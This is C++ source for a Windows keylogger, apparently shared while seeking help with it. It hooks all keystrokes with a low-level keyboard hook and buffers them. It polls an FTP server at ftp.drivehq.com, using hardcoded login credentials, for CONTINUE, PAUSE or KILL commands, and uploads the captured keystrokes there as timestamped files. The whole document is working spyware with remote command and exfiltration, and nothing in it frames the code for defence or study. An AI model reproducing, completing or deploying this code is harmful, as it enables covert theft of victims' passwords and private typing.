LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string gettime();
enum COMMAND{CONTINUE, PAUSE, KILL};
map<string, COMMAND> cmds;
DWORD err;
char error[4096];
string tempkeylog_buffer;
char ftpreadbuffer[1024]{};
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0, numberwritten = 0;
bool killswitch = true;
int main(){
cmds["CONTINUE"] = CONTINUE;
cmds["PAUSE"] = PAUSE;
cmds["KILL"] = KILL;
_beginthreadex(NULL, 0, &keylogthreadhook, NULL, 0, &threadid);
while(killswitch){
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ, FTP_TRANSFER_TYPE_ASCII, NULL);
//cout << GetLastError();
InternetReadFile(filehandle, ftpreadbuffer, 1024, &numberread);
//InternetWriteFile(filehandle, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError();
InternetCloseHandle(filehandle);
//InternetCloseHandle(ftpinstance);
//cout << ftpreadbuffer;
//cout << "\n" << numberread;
string temporarystr;
cout << ftpreadbuffer;
//cout <<reinterpret_cast<char *>(ftpreadbuffer);
for(int i = 0; ftpreadbuffer[i] != '.'; i++){
//cout << ftpreadbuffer[i];
if(ftpreadbuffer[i] == '\n'){
filetokens.push_back(temporarystr);
temporarystr.clear();
}
temporarystr.push_back(ftpreadbuffer[i]);
}
cout << filetokens[0].c_str() << filetokens[1].c_str();
cin.get();
map<string, COMMAND>::iterator i = cmds.find(filetokens[0].c_str());
switch(i->second){
case CONTINUE:{
// HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
//cout << GetLastError() << "\n";
string time = gettime();
time.append(".txt");
cout << time;
HINTERNET newftplog = FtpOpenFile(ftpinstance, time.c_str(),GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0);
cout << GetLastError() << "\n";
InternetWriteFile(newftplog, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError() << "\n";
InternetCloseHandle(newftplog);
InternetCloseHandle(ftpinstance);
cout << GetLastError() << "\n";
tempkeylog_buffer.clear();
cin.get();
Sleep(atoi(filetokens[1].c_str()));
//Upload ftp log to ftp server and sleep x seconds.
}break;
case PAUSE:{
Sleep(atoi(filetokens[1].c_str()));
//Pause the hooking thread, flip a switch so if pause remains the same we dont kill a non existant thread, and keep looping
}break;
case KILL:{
//return 0 or killswitch = false;
}break;
}
}
return 0;
}
unsigned int __stdcall keylogthreadhook(void *){
HINSTANCE hinst = GetModuleHandle(NULL);
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinst, 0);
MSG msg;
//MessageBox(NULL, "entered", NULL, NULL);
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhkLowLevelKybd);
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
PKBDLLHOOKSTRUCT structdll = (PKBDLLHOOKSTRUCT) lParam;
switch(nCode){
case HC_ACTION:
switch(wParam){
case WM_KEYDOWN:{
//How should i change the following lines?
char buffer[256]{};
GetKeyNameText((MapVirtualKey(structdll->vkCode, 0)<<16), buffer, 50);
//use this?: ToAscii(structdll->vkCode, structdll->scanCode, NULL, myword, 0);
tempkeylog_buffer.append(buffer);
}
break;
}
break;
}
return CallNextHookEx(NULL, nCode, wParam,lParam);
}
string gettime(){
time_t rawtime;
time ( &rawtime );
string s = ctime(&rawtime);
//cut off \n at the end of string (why the fuck do they even do that?)
s = s.substr(0, s.size()-1);
return s;
}

Resources